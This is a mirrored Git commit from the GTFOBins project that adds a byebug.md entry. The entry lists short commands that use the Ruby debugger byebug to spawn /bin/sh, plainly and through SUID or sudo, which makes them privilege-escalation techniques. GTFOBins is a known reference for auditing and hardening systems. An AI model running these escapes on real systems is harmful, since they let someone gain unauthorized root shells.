mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-24 04:22:52 +01:00
Create byebug.md
This commit is contained in:
parent
5decf3493a
commit
efb956a7b1
21
_gtfobins/byebug.md
Normal file
21
_gtfobins/byebug.md
Normal file
@ -0,0 +1,21 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'system("/bin/sh")' > $TF
|
||||||
|
byebug $TF
|
||||||
|
continue
|
||||||
|
limited-suid:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'system("/bin/sh")' > $TF
|
||||||
|
./byebug $TF
|
||||||
|
continue
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
TF=$(mktemp)
|
||||||
|
echo 'system("/bin/sh")' > $TF
|
||||||
|
sudo byebug $TF
|
||||||
|
continue
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user